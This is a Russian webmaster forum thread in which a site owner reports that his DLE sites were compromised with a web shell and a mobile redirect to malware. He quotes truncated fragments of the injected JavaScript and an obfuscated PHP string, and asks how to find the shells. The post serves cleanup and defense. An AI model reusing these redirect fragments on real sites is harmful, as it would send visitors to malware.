Взломали все сайты и поставили редирект.
Страницы: 1
Взломали все сайты и поставили редирект., В main.tpl dle поставили js код
Добрый вечер, в скайпе всех достал уже, суть что мне залили шелл и на все сайты поставили мобильный редирект на вирусы.Я уже почистил коды, например на сайте plusing.ru мне поставили код js в сам main.tpl

<script type='text/javascript'>if(navigator.userAgent.match(/(android|mobile|midp|j2me|symbian|series 60

На других сайтах он был зашифрован. Мне посоветовали ai-bolit антивирус но он работает не коректно у меня, я на форуме у них написал жду от них ответа.

Далее я попробывал Manul Яндекса - он обнаружил в engine/inc/include/init.php зашифрованный код:



<?php $_F=__FILE__;$_X='P2lCP1ouWg = Но мне сказали что это не вирус а лицензия от DLE.


Вопрос, как найти где лежат шеллы. А то я чищу, через неделю опять редиректы ставят smile:(
Сейчас опять прогнал ai-bolit:


Сводный отчет

Мобильных редиректов1
Вредоносных скриптов2
IFRAME вставок2
Рекламных ссылок и кодов7





/engine/inc/include/init.php не могу понять это вирус или нет ( undefined )
<?php ?> <?php $_F=__FILE__;$_X='P2lCP1ouWg1WaCoNVlNTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1 ( <?php ?> <?php $_F=__FILE__;$_X='P2lCP1ouWg1WaCoNVlNTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1 )
Изменено: Igor Vamin - 29 Ноября 2015 21:46
Страницы: 1
Похожие темы:
Читают тему (гостей: 1, пользователей: 0, из них скрытых: 0)
Новые темыОбъявленияСвободное общение
19:29 Dao.AD: Монетизация и покупка Push/Pops/Inpage и Video трафика! 
17:29 Как продвигать сайт с неуникальным контентом 
14:50 Индексация страниц 
12:36 У кого новостник, дайте пару советов плиз 
13:53 AviTool - мощный инструмент для автоматизации работы с Avito 
17:01 Absence в Армении 
23:19 Ребята подскажите какими сервисами и прогами вы пользуетесь для SEO продвижения? 
12:15 [MOBILE 4G/LTE PROXY] Приватные Мобильные Прокси 30 Дней 10$ Безлим/ Подходят для всех сайтов 
23:25 Обменник криптовалюты OnlyCrypto 
19:18 Размещение статей, ссылок и постовых на качественных ресурсах 
16:32 Продажа аккаунтов HH.RU 
15:14 Новый белый офер на медицину! 
13:22 Linken Sphere – браузер-антидетект нового поколения 
04:12 Просто $0.04/IP 9PROXY.COM Резидентные прокси Неограниченная пропускная способность Уникальная политика замены Без чёрного списка 
22:06 Добро пожаловать в цифровой мир... 
19:42 Топ-5 способов использовать мобильные прокси для бизнеса: подробный обзор 
22:08 Накрутка поисковых подсказок 
05:04 Точные прогнозы на футбол 
14:01 Union Pharm - топовая фарма-партнерка для профессионалов! 
10:59 Ням-ням! - 8 деликатесов, которые когда-то ели только бедные люди 
12:23 150+ хакерских поисковых систем и инструментов